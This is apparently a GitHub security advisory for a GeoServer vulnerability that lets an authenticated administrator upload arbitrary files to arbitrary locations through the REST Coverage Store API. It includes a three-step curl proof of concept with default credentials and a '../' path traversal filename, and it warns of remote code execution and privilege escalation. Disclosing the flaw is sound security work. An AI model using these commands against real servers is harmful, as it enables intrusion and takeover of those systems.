You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
Summary
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC
Step 1 (create sample coverage store):
curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic"
Step 2 (switch store to absolute URL):
curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite"
Step 3 (upload arbitrary files):
curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write"
Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
Impact
This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
References
https://osgeo-org.atlassian.net/browse/GEOS-11176
#7222